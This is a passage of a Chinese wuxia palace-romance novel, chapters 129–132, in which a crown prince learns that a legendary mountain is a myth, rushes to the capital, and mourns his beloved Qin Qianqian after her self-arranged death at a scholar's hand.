与一般侠女不同，她并未高束长发，而是任由青丝散落，仅仅将鬓角以上的头发随手绑了一下。
她身着一袭深紫长袍，不知是用何种材质制成的，在月光之下熠熠生辉。
姜千秋朝他抱了个拳，那动作肆意又舒展，却狠狠刺痛穆轩岚的心。
刚刚千千离开前，也对她做了这个动作……
穆轩岚心怀敌意地上下打量她，她倒是连个面纱都不带，可当视线落在她脸上时，他发现自己眼前像蒙了一层纱，竟看不清她的长相。
在他用力揉眼的时候，姜千秋开了口。
“不用白费力气了，你已中了毒，是分辨不清我的长相的。你有什么事情，还是尽快问吧。”她声音听不出波澜，可说出的话格外骇人。
“你在这里多耽误一刻，那些想要来接应你的暗卫，
129. 所想所愿皆成空
穆轩岚又怎么听不懂她话中的意思，早在她通知自己会见地点的时候，她就应该能想到，自己会在这里布下天罗地网。
原本他是想捉住姜千秋的，他清楚，姜千秋哪怕武功再好，也不会只身前往。
所以，他早就做好了鱼死网破的打算。
“与其在这里要挟我，不如心疼一下为你搏杀的人！”穆轩岚意有所指，他在说秦千千。
姜千秋又何尝听不懂，她莞尔一笑，奉上一记快刀。
“近几日你衣食住行都相当讲究，就不好奇，我是何时给你下的毒？”
穆轩岚负手站在湖边，任凭微风吹动衣摆，他脸色晦暗，表示并不想知道这个事情。
其实，他心中早已有了猜测……
可姜千秋，自有她的打算。
“千千嘴唇上擦了我的忘忧香，而你就是被她下的毒。你耗费苦心、甚至不惜把千千伤害得遍体鳞伤，才见得到我，有什么事情，尽快说吧。”
那可是她悉心带大的孩子，她又怎会弃她于不顾？
穆轩岚却嘲讽地笑她，明明利用千千的人是她，要千千命的也是她，“你姜千秋有什么理由，过来斥责我？”
“因为，要她命的人，会是你。”
穆轩岚看不到姜千秋的表情，却在听到这句话的一刹那，寒意遍布全身。
不，这怎么可能！
可他又想起，千千跟他说过，姜千秋一字千金，说过的话全都应验的事情……
“丑时了殿下，你还不打算问我别的事情吗？”姜千秋颇为大胆地朝他走来，似乎并不怕他动手。
他只好搁置心中的疑惑，不过他唯一确信的是，无论如何，他都是不会杀千千的。
“阁主可曾听说过云岫山？”穆轩岚伫立在原地，眼神死死盯着她。
仿佛她若是说不知道，他就会暴起扑上去跟她斗个你死我活一样。
谁知，姜千秋却沉默了。
那片刻的静谧，对于穆轩岚来说，却是格外难熬。
他殚精竭虑这么久，在即将触及真相时，难免慌……
“我知道。”
穆轩岚还没来得喘息一气，就被她接下来的话，彻底击碎所有理智。
“那不过是个虚构的地方，并不存在。不知殿下，问这个做什么？”
不知她是故意装傻，还是真的没有这等事情，穆轩岚顷刻血气翻涌，直冲天灵盖。
“你骗我！”他红着眼睛，震声吼道。
姜千秋就站在离他两丈远的地方，被愤怒蚀骨的穆轩岚，直接冲上去和她缠斗起来。
他抽出一直背在身后的长剑，宝剑铮铮，一下一下朝她劈砍。姜千秋不出招，只是一味的闪躲。
看她轻松写意的样子，穆轩岚就知道自己跟她的实力太过悬殊。
平日里，别人的攻势在穆轩岚看来，就像是放慢数倍的动作，因此，他也喜欢这般逗弄别人，在别人要砍到自己时，用最小的动作躲避开。
既羞辱了那人，也不费吹灰之力。
今日倒反天罡，他倒成了被戏耍的人。
姜千秋看他已然发了疯，便有意让他冷静下来，在他下一招犀利劈砍时，她故意从剑下绕行，凌空翻转半周，照着穆轩岚右肩膀就是一脚。
他失了定力，直接被踢到及腰深的水里。
湖水溅湿衣服和他的脸庞，站定身形后，他用袖子擦干脸上的水，还要提剑来战。
“你与我打斗彻夜，也改不了它就是虚妄的事实！”姜千秋字字铿锵。
穆轩岚又怎么不懂这个道理？或许是跟秦千千在一起时间太长，以至于他下意识就信了姜千秋的话。
可他现在不讲理智，只想发泄心中的不满。
若云岫山是假的，守山人是假的，那山中秘宝也无处寻觅，他父皇又该怎么办？
姜千秋看他沉默，便道出她最顾虑的事情。
“殿下，这便是我不愿见你的原因。我跟你尚且有千千这个引荐者在，你多少会听我一言，可你若将此事呈报皇上，他会怎么想？千千还能活吗？”
穆轩岚眼神凌厉地看着她，“少来挑拨离间！父皇答应我了，即使找不到云岫山，他也不会动千千。”
姜千秋无奈地摇摇头，直接把血淋淋的真相剖析给他看。
“若不是我刚刚差人接走千千，她现在早就被捆上进京的马车了。此事，你可以回去问你的下属元德。”
“既然你愿意相信你父皇，那我不妨把云岫山的传闻告诉你，你回去也好有个交代。”
穆轩岚攥紧手里的长剑，纵使湖中水冰冷刺骨，他现在也全然感觉不到，他唯一能感受到的，就是心头有股怒火在翻涌。
若是真给他抓到有人要捉千千，他一定要把那人碎尸万段！
民间流传，云岫山既不是最宏伟的山，也不是最出众的山，若说有哪里特殊，那也就是它被群山环绕，与外界隔绝。
世人皆爱珍奇之物，有仙山，免不了幻想其中有仙人。
而庞大的云岫山，就被世人杜撰出，里面有一派，名曰守山人。他们守什么呢？自然是有宝物，一曰珍绝经卷、一曰修真宝典。
“你父皇或者你，定然有所耳闻，说云岫山为历代皇族服务，只有玉玺金印可以打开山中的石室金匮，而你父皇想要的长生秘宝，就在石室金匮中。”
姜千秋寥寥几句话，就说尽了他和父皇努力多年，查到的全部线索。
事已至此，穆轩岚不得不承认，她知晓的事情的确很多。
看他默不作声，姜千秋就继续说了下去。
“可你父皇贵为天子，他怎么不知道一臣不事二主的原则？若世间真有云岫山，真有守山人，他们怎么可能安然效忠每一代君主？”
别的不说，君主定会对守山一派心有芥蒂，君心无情，说不准哪天龙颜不悦，就把这一派全都屠戮了。
“……”穆轩岚心中有些许悲戚，不想承认，却也不得不承认，她说的是对的。
姜千秋无意于跟他争辩什么是非对错，道明由来后，她的语气也稍稍变了些。
其中，多了一些无奈。
“我百般阻拦，千般婉拒，你还是把见我之事交代宫中，还是见到了我。那
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一切都无可挽回了，彼时龙颜大怒，恐怕要血流成河了。”
他从来没想过，自己会好心办错事。
穆轩岚现在心中泛起起一阵疑惑，他不知父皇是否真的会大开杀戒，不知姜千秋的预言是否会成真。
“真到那时，我会竭力挽救。”
姜千秋冷哼一声，那气息微不可查，“以你一己之力，很难扭转乾坤。”
穆轩岚听到她这话，不由得心里一紧，若是父皇真下令屠戮众人，那首当其冲的，就是千千！
想到不久前离去的秦千千，以及刚刚姜千秋说过的话，穆轩岚恨不得现在奔回去带她走。
哪怕把她囚禁在殿中，他只要千千平安地活着。
“你父皇郁气凝结在心，我有一方剂，你让太医悄悄把药换了，还能给他吊命几年。切记千万不能告诉他，方剂的来源，不然，必定又是一场腥风血雨。”
“为何帮我？”穆轩岚不解地问她。
若真如她所说，那他们穆家，以后就是重创芳草阁的宿敌，她为何又要搭救父皇？
“不能让你同时失去两个所爱之人，这是我对千千的承诺。”
从她嘴里每听到一句“千千”，穆轩岚的心就多刺痛一次。
是啊，她为自己做了那么多，可自己只是一味的利用她……
穆轩岚久久没有作答，姜千秋抬头看明月，发觉时间差不多后，她就要转身离开。
谁知穆轩岚往前走两步，却也只是那两步。
“你……你带走千千，能保证她一世平安吗？”他神情悲伤，这不是疑问，而是近乎祈求。
他自幼就是天之骄子，坐享荣华富贵、天下爱戴，可今晚，他卑微的央求了两个人，一个是秦千千，一个就是姜千秋。
不久前，他祈求千千原谅自己；现如今，他央求姜千秋保护千千。
姜千秋转身看着他，重重叹了口气。
“从你见到我的那一瞬间开始，千千就已经活不了了，皇上是不会让她活着的。哪怕对她屈打成招，让皇上见了我也于事无补，他无可奈何我，却能杀了千千泄愤，你还不明白吗？”
被湮灭最后一点期望，穆轩岚无奈地闭上双眼，皇上是什么人，他再清楚不过了。
表面上的明君，其实猜忌心极重，宁可错杀绝不放过。
“那你带千千离开，以你之力定能护她周全。”穆轩岚现在只想保住秦千千的命，其它的，他都不愿再多想了。
反正她是不能跟自己回去的，他自小效忠父皇，父皇对他也关爱有加，也就是说，他的太子府全都有可能是皇上的人。
带她回去，无意于让她送死。
要让她去一个，他自己都不知道的地方。
“原来我之前是高看你了，本以为你跟千千心意相通，一定能想通她为何这么做……”
姜千秋表情略微嫌弃，都说关心则乱，现在太子殿下的心算是乱到无法正常思考问题了。
“抓不到秦千千，死的会是谁？是桑风雪、是桃花花、还是冬芸？她不愿意看这种事情发生的。所以，死局已定，无法可解。”
130. 火速回京
“不……，一定还会有别的办法的。”穆轩岚强迫自己冷静下来，他不信父皇会出尔反尔。
姜千秋似乎看透他的心事，便不再多言，转身离开。
“阁主，你能不能帮我拖住千千两天，等我奔赴京城运作，若真无法力挽狂澜，那时我愿与她共赴黄泉。”
他就不信，若是自己以性命相逼，父皇还会执意取千千的命吗？若真是如此，那他对这世间也没什么留恋的了。
“巧了，千千唯一跟我托孤的事情，就是让我保你性命。你说，我该当如何？”
穆轩岚攥紧拳头，悲伤万分地闭上双眼。
她的确是一心一意待自己的，可自己给她带来了什么呢？是灭顶之灾。
可现在，他竟也不能跟她共赴九幽。
是不配吧。
“我即刻回京。”穆轩岚再度睁眼，眼前的人已经不见了，原地只留下一张纸条。
是那个药方。
穆轩岚来不及失魂落魄，他匆忙赶回去。
真正的战场不在白阳府，是在城边的荒地，那是去湖边的必经之地。
适才那群殊死抵抗蒙面人一同离开，暗卫损失惨重，元德正在清扫战场。
可就是这时，他才发现那群蒙面人，竟然没有一个留下遗骸……
元德远远看到殿下归来，便赶忙迎了过来，还不等他跪拜，穆轩岚就摆手免礼。
“立即备马，你带一队精锐，同我即可赶赴京都。”说到这里，他想起了什么，便吩咐随后赶来的两位女暗卫。
“你们两个带队去接冬芸，直接把她护送回京。”
得了令的三个人，除了元德立马着手去办，剩下两个人面色纠结地站在原地，似乎在踌躇着什么。
“她怎么了？”穆轩岚急切地往前迈一步。
“殿下，秦小姐留下了这个……”夏念烟从衣袖中掏出那串项链，双手并拢捧在手心。
穆轩岚两眼一黑，他最担心的事情，还是发生了。
事情还没完，莫凝歆扑通一声跪在地上。
“属下无能！秦小姐在白阳府门前呕了一口血，我等本想上去搀扶，结果被一男子从天而降，劫走了秦小姐。”
夏念烟也跟着跪在地上请罪，穆轩岚让她们两个起来，与此同时，他也开始在心中盘算，那人到底是谁。
能击退一干暗卫，绝非等闲之辈……
会是晏信吗？
肯定是自己那一掌，害千千吐了血……
那人会护她周全吗？千千……
穆轩岚苦笑一声，“知道了，你们该干什么，就干什么去吧。”
他已经尽力克制自己不想千千了，可是她还是屡次三番浮上心头。
现在最重要的，也是他唯一能做的，就是心无旁骛地赶去京都，力求保住她的性命。
至于别的，他管不了那么多了。
他相信，姜千秋会信守承诺的。
日夜奔袭，穆轩岚和元德赶得比平时急递还要快，仅用一日，就赶回了京都。
元德不清楚，也不敢问当时的情形，以及殿下匆忙回京的原因。看着殿下心力交瘁的模样，他心中隐约有种不好的预感。
京都晚间闹市，不得纵马。
哪怕是储君，也得身着朝服，才许在离皇宫三条街开外的街市纵马。
穆轩岚顾不得那么多，入城前他就交代了元德，带着这队人马在前面开路。
“我要尽快面见父王。”
这是从鲁南州出发后，殿下跟他说的第一句话。
一行人几乎是硬闯到皇宫门口，穆轩岚不等马停下来，就直接跳下马飞奔进宫，元德心神不安地守在这里。
谁知正值深夜，还能在宫里撞上穆元基。
穆元基看着那人眼熟，定睛一看居然是本该在几百里外的穆轩岚！
穆元基也清楚，穆轩岚已经得到引荐，顺利见到姜千秋了。
那他现在匆匆赶回来……
肯定是大功告成，回来邀功的吧！
虽然不情愿，但祖宗礼法他不得不遵从，穆元基还是上前迎了两步，给未来的国君，行了个礼。
“皇兄怎地行色匆匆……”穆元基话还没说完，穆轩岚就从他身边呼啸而过，一些挡着他去路的人也被推开。
穆元基愤恨地看着他的背影，久久不能言语。
“哎呦，这储君殿下好大的威风，见您面儿也不打个招呼。”穆元基的随从多嘴，他本想是替主子泄愤，结果被穆元基狠狠赏了一巴掌。
“你是个什么东西，他是未来天子，容你诽谤？”
说罢，穆元基气鼓鼓地一挥衣袖，背着手离开。
谁知不一会儿，在府中急等消息的穆元基，就收到了回信。
那面目浑圆的小太监，迈进书房后，赶忙跪在地上请安。
“王爷……”
“别废话，宫里什么情况？”
“王爷，具体什么情况我还真不知道。殿下刚一进去，他一摆手，由他训练的暗卫就把庆榆殿围了个水泄不通。”
那小太监擦了擦额头上的汗，继续说。
宫中太监宫娥全都被赶了出来，不过他走前瞄了一眼，皇上急匆匆从龙椅上下来，满带笑意地朝殿下走来。
穆元基气得准备抬脚给他一脚，就听到这些东西，还敢来找他汇报？可他忍住了。
上次就让他踹倒戈一个细作……
凡事还是要三思而后行。
“然后呢？”穆元基冷着脸问他，那太监赶紧从地上起身，手拢在嘴边压低声音汇报。
“不出一炷香的时间，殿下就被一个暗卫背着回府了，奴婢听说，是昏倒了。”
穆元基眉头紧皱，在心中盘算着各种可能，是乐极生悲、还是舟车劳顿累晕了？
小太监为了邀赏，什么都不顾了。
“王爷，奴婢听公公说，皇上请了太医一并回去，但这事儿没有告诉任何人，当时皇上还说了一句，等殿下身子调养好了再为他接风洗尘什么的……”
这下，穆元基算是明了，看来还是给穆轩岚得手了……
他在太监走后，在府中敲砸半夜，聊以泄愤。
当初说查封太子府，其实只是演了几天戏，现在穆轩岚凯旋而归，府中自然又热闹了起来。
元德愁眉不展地守在床前，看着太医
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给殿下又是送药又是扎针，可殿下一点反应都没有，他心中甚是懊悔。
早知道，就应该把王老怪那怪东西绑了，说不准，他还会有什么奇招，能剑走偏锋治好殿下。
“大人，府外有个邋遢老头，说是要见您。”侍女小声禀报元德。
元德大喜过望，出门去迎，果然是王老怪。
谁知王老怪比他还要急，一边说着来不及了，一边催着他给自己带路。
到了寝宫，王老怪让他赶走所有太医。毕竟，自己接下来的治法，这些个庸医肯定会强烈反对。
果不其然，在他拿出匕首在穆轩岚胳膊上比划的时候，元德顺脚把刀踢飞，还推了一把王老怪。
“你……，你这是干什么？”
王老怪扶着腰站起来，再度捡起短匕。
“你不让我治，那他错过今晚就回懊悔死，你看着办吧。”
几个月的同行，让元德看清了王老怪，这个人是紧急时候最靠得住的。最后，他只能起开，让王老怪下手。
只见他从怀中掏出三瓶拳头大的药剂，叮嘱元德全都灌进去，还特别叮嘱，不分顺序，一瓶连一瓶喂就是了。
而王老怪的举动更是骇人，他掀起穆轩岚的衣袖，拿着刀就竖着划了一道深深的伤口，鲜血如注，瞬间流了他满手。
血腥之气在两个人鼻尖萦绕，元德灌药的手微微颤抖，但他不敢停下来。
少见，杀人如麻的元大人手也会抖。
“然后呢？”他看着王老怪不再行动，而是呆呆望着那涌血的手臂，就急得吼他。
谁知刚刚换乱的王老怪，却跌坐在地上，彻底冷静了下来。
“然后就看命了……是太子殿下醒来力挽狂澜，还是清风酒楼满门皆被屠戮，元德，我们只能看命了。”
温热的血在王老怪手上渐渐冷却，他慌乱地在衣服上擦，可怎么都擦不干净。
好多血，他看到清风酒楼全都是血，再一抬头，看到秦千千的头颅被挂在门前……
“啊！”
王老怪惊醒，才发觉那是一场梦，可尚未稳住心神，却发现外面早已天光大亮。
他想起姜千秋跟她说的话，来不及穿鞋，赶忙跑了出去。
偌大的王府繁华如常，王老怪随便抓个仆役，发了狂一样问他，外面发生了什么事情没有。
“禀先生，昨夜元德元大人率领当朝状元郎，直接把清风酒楼抄了，听……听说，把端坐在客栈中央的老板秦千千，直接给砍了。”
王老怪往后一歪，差点昏死过去，还好仆役伸手扶住了他。
不不不，他不信元德会那么做。
说不准，是元德悄悄把秦千千藏起来了，而且借元德十个胆，他也不敢杀秦千千的呀！
王老怪一边安慰自己，一边跑去找元德。
最后在穆轩岚榻前找到了他，穆轩岚还是脸色苍白地昏迷不醒，元德却身姿端正地跪在地上。
“你快告诉我，你把千千藏哪里了！”王老怪专门凑近他，迫不及待地问他，可是他的腿已经颤抖到提前跌倒在地上。
连滚带爬地走到元德身边，王老怪才听清那句“杀了”。
131. 从此清风酒楼只清风
“你胡说什么！”王老怪跌坐在地上，耳畔嗡鸣，大脑一片空白之际，让他想到姜千秋嘱托他的话。
她委托自己回来救穆轩岚。
却也只说了救穆轩岚……
至于秦千千，她甚至就没有提过。
地上跪着的元德，看着王老怪失魂落魄的样子，就跟他讲起昨晚上的事情。
“昨天你划开口子没多久，就昏了过去，我差人送你回房后两个时辰，殿下就醒了。”元德转头看一眼穆轩岚，他多么希望殿下如昨日一般，再度醒来……
“然后呢？”王老怪盘腿坐在地上，往下追问。
穆轩岚醒来就呕出一口血，他顾不得别的，连忙让元德帮他拿来纸笔。
草拟一篇密函后，他立马派元德送进宫中。
谁知看完密函的皇上，龙颜大悦，直接让元德带上新科状元郎，去查抄清风酒楼。
王老怪皱眉沉思，这状元郎是何方神圣，为何要点名让他去？
元德原本也不知道，状元郎与清风酒楼有何关系，直到他见到了秦千千。
那时虽已是深夜，可清风酒楼却是烛火通明、人声鼎沸。原因，自然是酒楼老板秦千千，今日凯旋而归，大家欢聚一堂，享受着半价的酒菜。
状元郎跟元德一前一后进了清风酒楼，看到朝夕相伴的人时，他的心里还是咯噔了一下。
谁知秦千千却没有很奇怪，她笑着高呵一声，在场喧闹的人突然安静下来。
“各位，本人的两位故人到此，从现在开始，清风酒价免，各位轻便。”说罢，她朝元德走过来，在离他几丈远的地方，给他行了个拱手礼。
“元大人大驾寒舍，有失远迎。”看她冷漠又疏离的样子，元德心中说不出的难受。
“秦老板，我们……”元德本想跟她借一步说话，今天哪怕豁出自己的性命，他也得保住她的命。
谁知秦千千不再跟他交谈，而是笑着跟他身后的状元郎搭话。
“小书生，我说什么来着，他日你一定能高中状元的！”
秦千千当初巡商时，在枫林镇见到个技艺超群的画师，她当时还想起京都的那个落魄书生了呢。
谁知一转眼，他摇身一变成了状元郎。
“承蒙秦老板那些年的接济，在下没齿难忘，只不过……”他停顿下来，神情复杂地看着秦千千。
秦千千笑出声，这有什么难说出口的呢？
“不就是要来取我的项上人头吗？来吧。”她最后看着元德，可元德总觉得，她是在透过自己看某个人。
王老怪从地上爬起来，走到元德身边，急切地问他，“说不准她趁着人群混乱偷偷跑了，她那么机灵的人，怎么可能……”
元德低下头颅，无力回天地摇摇头。
状元郎没有拿过刀，一刀捅进她肚子，却没有一击毙命，在她倒地挣扎的时候，他又补了几刀。
“等我越过嘈杂慌乱的人群时，说句开膛破肚不为过……”
元德浑身颤栗，他虐杀的人没有一千也有八百，可秦千千的死状，让他突然惊觉，死很可怕，自己很可怕。
“尸首呢？不看到尸首，我不相信她真的死了。”王老怪大声咆哮，那可是秦千千啊，阁主培养那么久的继承人，怎么就能如此草率地死了？
昨夜清风酒楼大开杀戒，在场的人无一幸免，慌乱中有人无意打翻了烛火，屠戮还没有完成，酒楼中就着了火。
在场很多人的尸体被烧成了焦炭，其中，也包括秦千千。
“活要见人，死要见尸，带我去看看。”王老怪拉起不知在地上跪了多久的元德，他不认定秦千千死了，那就是没死。
牢狱苦寒，天子私人却是窗明几净，就跟一座小型宫殿一样。外面禁军很多，可他们都认识元德，两个人不费吹灰之力进去。
屋中大大小小陈列了上百具尸体，其中最为显眼的，莫过于正中间陈放的那具。
比起别的全身焦黑的尸体，这句尸体还算是保存了一大半，可惜右胳膊和脸部已经被烧得难以辨认……
右肩！
“当初江郎手下人劫持千千时，刺伤了她的右肩，那伤口贯穿肩头，想必一定能留下痕迹。”
王老怪拿起桌上放的仵作用刀，直接动手要去验证，元德也亦步亦趋地跟上。
想当初，那伤口还是殿下故意刺的……他无法设想，殿下醒来后，该当如何。
不到一炷香时间，王老怪手中的短刀铛啷坠地，“是了，这里的确有伤痕。”
他又跑去尸体的左手，想看她手上的玉镯，结果看到晏信送的那只水润透亮的绿镯，就那么安然地躺在她手上。
王老怪往后退两步，跑了出去。元德本想跟上，结果被暗卫召去，皇命不可违，他只好先面见皇上。
“元德，那人怎么说？”皇上正襟危坐，不怒自威。
殿下教他的第一条规矩，就是对皇上绝对忠诚。十几年来，元德丝毫不敢惰怠，他只得如实禀报。
“陛下，经他确认，那就是秦千千。”
皇上神情晦暗，暂时搁置此事。
“我儿如何？”
“殿下昨夜暂醒片刻后，再没清醒过来。”
“好生照看轩岚，他有功了近些日子歇歇也好。”
待元德走后，皇上闭目调息，等待跟踪王老怪的人回来通风报信。
他不能错过任何一个，可能抓住姜千秋的机会。
谁知，探子来报，王老怪买了两壶酒，就回了太子府。皇上摆手让人退下，自己起身去找皇后。
王老怪坐在不知哪段长廊上，愤恨饮酒，别人不敢阻拦，唯独一个生意制止了他。
“王老头！你不能再喝了！”冬芸朝王老怪跑过来，扒拉下他的酒葫芦。
王老怪揉了揉眼，还以为自己看错了。
“冬芸，你怎么在这里？”
转念一想，王老怪也明白了，秦千千那七窍玲珑心，定是把冬芸托孤给储君殿下了。
不然，这天下还有谁能保证她的安全？
冬芸要给他解释，却被王老怪制止，“不用了冬芸，你连夜赶来也累了，早些歇息一下吧。”
谁知冬芸这丫头也犟得很，“我不累，你快带我去见千千
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姐她们吧！”
比起隐瞒，王老怪把实情全都告诉了冬芸，她吓得脚下一软，跌挂在栏杆上。她转身看着侍女离得远，就小声跟王老怪商议。
“你若是离开，能不能带我走？”
“走？我不走，我要留在这里，护储君殿下一世平安。”
彼时的冬芸还不明白，他这是受人所托，忠人之事。
守在床榻前的王老怪想了一天，他觉得一切都怪自己，怪他下手不够狠。不然，事情不至于闹到如今这个地步。
当初姜千秋跟他说了，药加放血，缺一不可。而那刀刃划入皮肉的深度，少半分也不行。
他可是以怪著称的医者，可他怪不过姜千秋，也不敢艺高人胆大地模仿她。
定是自己下手轻了，以至于让穆轩岚苏醒的晚了。
婢女来屋中点灯时，端坐在榻前的王老怪和元德，这才知道天已经黑了。
“咳咳……”穆轩岚咳嗽两声，两个人赶忙迎上去。
“你现在怎么样？”王老怪急切地问他。
他困难地掀起眼帘，气若游丝地问：“形势怎么样了？”
发觉他们二人都神色难看，穆轩岚挣扎着就要起来，元德赶忙扶起殿下，等他坐定后，元德立马跪在榻前。
“殿下，臣奉命带队踏平了清风酒楼，老板她……”
“经我去校验尸体，死者确实是千千无疑。”王老怪为此时盖棺定论，两个人都不忍看穆轩岚的表情。
他沉寂片刻后，忽然浅浅笑了起来，一股腥甜涌上喉头，穆轩岚单手撑着床，低头呕出一口血。
穆轩岚不让任何人扶他，他自己用衣袖擦去嘴边的血迹，虚弱却又偏执地说：
“她不想见我，定是借死遁逍遥江湖去了。”
“殿下……”元德急得话都说不利索，王老怪迫不及待，问出他最好奇的事情：“你昨晚那封密函里写了什么？”
穆轩岚看了他一眼，就知道他为何这样问。
“外面的人怎么说？”
王老怪白日带着冬芸去街上闲逛，其实他是想，看看能不能被姜千秋联系上。
一下午几乎是一无所获，唯独听人聊闲话时，听他们谈到了储君殿下的那张密函。
“民间说是，你给皇上揭发清风酒楼的祸端，还留了两句话给皇上‘清风酒楼只清风，人诛尽楼也封’。可那真的是你写的吗？”
王老怪不信，纵使穆轩岚假借白邵禾之名，诓骗她们一路，他也不信穆轩岚会让人尽数诛杀清风酒楼之人。
“呵……现在说这个还有什么意义。”穆轩岚满眼悲恸地看着王老怪。
他累了，不想再辩驳什么。
再尊贵的身份加持，他此刻也只是失了心头爱的人间未亡人。
穆轩岚关节嘎吱作响，他咬着牙吩咐元德两件事：
一、带来那个杀害千千的状元郎；二、立即去把千千的尸骨带回来。
“殿下，禁军驻守在那里，恐怕……”
“杀光他们，也要把她带回来。”穆轩岚满目肃杀，那气场让人不敢反驳，元德即刻起身去办。
132. 不跪天子跪亡人
当天夜里，元德就兴师动众地把尸首接回府。
穆轩岚刚到前厅，宣旨的人就乌泱泱的进府，堂中之人全部行叩拜之礼。
除了穆轩岚。
“殿下……，奴才该宣旨了。”曹公公点头哈腰地提示穆轩岚。
他的意思，是穆轩岚该行礼了。哪怕身体虚弱，行个拱手礼意思一下也行。
穆轩岚站姿挺拔，他睨了曹公公一眼，转头朝堂中的尸首走去。
曹公公伺候皇上几十年，自然看得出，殿下这是在跟皇上置气。
没事，念完这道圣旨，殿下的气准保消了。
“殿下劳苦功高，辛劳成疾，皇上特嘉许黄金千两、锦缎百匹……以及再拨五千羽林军到您的麾下。”
穆轩岚伴着冗长的褒奖话语，一步一步走到那尸身身边。平日里彰显功勋的言语，现在他听来只觉得聒噪。
这应该就是给自己的报应。他自嘲地笑了一下，小声跟躺在那里的人说话。
“千千，你可真有本事，怎么能把我喜欢的所有东西都带走？”
穆轩岚语调悲戚，犹豫良久后才掀起那素锦。纵使做足了准备，在看到尸身的惨状后，他还是倒吸一口凉气。
他轻轻抓住那佩戴着绿镯的手，冰凉的触感从指尖扎进心中，痛得他无法稳住身形，他缓缓跪在地上，额头抵住她的手。
直至现在，穆轩岚才看清自己的内心：他这一生只喜欢千千而已。
秦千千也没有带走别的东西，只带走了他的一颗不堪的真心而已。
曹公公一行人全都惊诧不已，不跪天子跪亡人，这是什么道理？可那是储君，他自然不敢置喙。只能立马回宫，把事情原原本本告诉皇上。
王老怪带着冬芸也跪在旁边，比起一言不发的穆轩岚，她们两个人倒是跟秦千千聊了起来。
“姐姐，你给我的信，等我认识上面所有字后，我一定给你写回信。”冬芸抽噎着半天，才把话说完整。
穆轩岚转头望着她，喑哑着嗓音问她：“信在哪里？”
冬芸赶忙从怀中掏出信笺，昨天她让王老怪念给她听，却被王老怪回绝。
他的用意，冬芸也懂。
这是秦千千留给她的遗笔，自然要她亲自看。
王老怪抬手，想从穆轩岚手中抢走那封信，结果却被他侧身躲过。
“那是千千留给冬芸的！”王老怪焦急地喊，穆轩岚却充耳不闻，自顾自地拆开信。
万一呢……
结果三张信纸，写的满满当当，没有一个字提起他。字字句句皆是叮嘱冬芸，要好好长大、要所托良人、要保护好自己。
他手上卸了力，几张纸翩然坠地。
穆轩岚本以为自己已然心痛到无以复加了，可他错了。
打开信封时，他就察觉到，那纸张是嘉松别苑的纸张……也就是说，那时，她已经对自己万念俱灰了。
“也是难为你了，竟陪我逢场作戏那么久。”穆轩岚抬手抓住心口的衣服，一脸痛苦地单手撑地。
又是一口血。
王老怪顾不得别的，他赶忙过去把人搀起来，冬芸趁机捡起信纸，小心翼翼地收起来。
在一众人的帮忙下，好不容易把他安置在椅子上，元德就亲自压着一个人回来了。
那人被推向堂中，来不及站直，他就直接跪在了地上。
“殿下，状元郎带到了。”
王老怪看着那人，分明连外衫都没穿好，指不定是从床上被薅下来的。
元德无声站在穆轩岚身边，夜凉如水，他盔甲上的寒气弥散，冻得王老怪直哆嗦。
王老怪转身吩咐侍女，拿两件大氅过来，他还悄悄朝元德摆手，让他离穆轩岚远一些。
“你认识千千？”穆轩岚的声音比寒气还冷。
那人跪在地上哆嗦，不知道是被吓的，还是被冻的。不过，他回答的还算及时。
“回禀殿下，不止认识，她对我有知遇之恩。”
穆轩岚冷哼一声，王老怪却忍不住骂他：“好一个知遇之恩，你就是这么对待你的恩人的？”
那人抹了下眼角的泪，“岂敢，若不是她，我早就饿死在那场茫茫大雪中了，所以，我愿意为她豁出命去——”
元德和王老怪，都觉得他在胡说八道，分明刺死恩人的人是他，他现在来这里装什么情深义重？
穆轩岚双手紧攥，他察觉出不对。下一秒，状元郎的话果然验证了他的猜想。
“千千说，殿下与元大人皆是身不由己，死在你们手里，对你们来说未免太过残忍……于是，我便主动为她分忧解难。”
王老怪和元德都不自觉小声抽气，事情怎会如此？穆轩岚闭上眼睛，才不至于让眼泪夺眶而出。
好一个身不由己，这比对自己恶言相向，还要让他难以接受。他宁可千千留下最恶毒的咒骂，那样也会让他心里好受些。
可是她不会，那爱过于炽烈，映照的穆轩岚觉得自己格外卑劣……
“她是什么时候告诉你的，你又是什么时候见她最后一面的？”穆轩岚再度睁眼时，眼中满是悲恸。
状元郎不敢说，他突然觉得穆轩岚很可怜，他似乎只能从别人的只字片语中，拼凑出心上人的消息。
从此可见，千千决定赴死的时候，是有多决绝。
可这份决绝，只有穆轩岚自己知道。
毕竟状元郎最后看到的林颜，还是那般潇洒肆意，她热烈地笑着迎接终结。
那笑容若是殿下见了，应该会有别样的感触吧……
“早在她出京前，她就问我敢不敢杀人，后来时常写信问我此事。”
彼时他只是个穷书生，郁郁不得志，连饭都得在清风酒楼讨一口。于是在下一次回信时，他告诉秦千千，她敢。
元德忍不住打断他：“难不成那个时候，老板就知道我们的身份……”
“不，”穆轩岚摇头，“那时她应该只预想到身死的结局，为了被别人欺凌虐待，才委托你的吧。”
在清风酒楼大张旗鼓，宴请众人的前一个时辰，书生这才见到阔别已久的秦千千。
“正是那晚的见面，她才跟我说了全
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部的事情，不到一个时辰，我们就在清风酒楼再度见面。”
状元郎忘不了她对自己道歉，可路都是他自己选的，能做十天状元郎，他已经很是满足了。
秦千千手眼通天，让他从一个穷书生一跃成为状元郎，在欢庆十日后，他自愿走向自己允诺的宿命。
“殿下，草民本就是靠描摹画本子为生的，恩人故去后，我夜不能寐，早早把见她的最后一面描摹下来，临死前，希望可以交给殿下。”
他从袖子中拿出那折叠停当的纸张，元德去接，谁知穆轩岚起身亲自去拿。
王老怪给他盖上的大氅无声滑落，王老怪知道，他顾不得那么多了。
事情怎地就发展成这幅样子……王老怪轻声叹气。
穆轩岚没有打开画像，他居高临下地看着书生，全然没有往日矜贵、高不可攀的样子，只是憔悴的让人心惊。
“没人要杀你，也没人敢杀你，回去吧。”
看着殿下怅然若失地离开，一人抱一件衣服的王老怪与冬芸，赶忙跟上去。
元德也抬脚跟上，但又不敢离得太近，生怕寒气传给尚且虚弱的殿下。
似乎察觉到身后人的动静，穆轩岚抬手制止他们，他已经没有气力再回头跟他们说什么，只留给他们一个寂寥的背影。
王老怪听着打更的声音，发觉太阳再过一个时辰就要出来了，反正也睡不着，倒不如去喝酒。
“元德，要去月下独酌吗？”
生怕元德听不到，王老怪上前用肩膀撞了他一下。元德这才从殿下离开的方向，收回心神。
“不了，近来事务繁多，我要时刻保持清醒。”
最终，侍女带冬芸去休息，王老怪坐在院子中畅饮，元德坐在他对面，两个人有一搭没一搭的聊着。
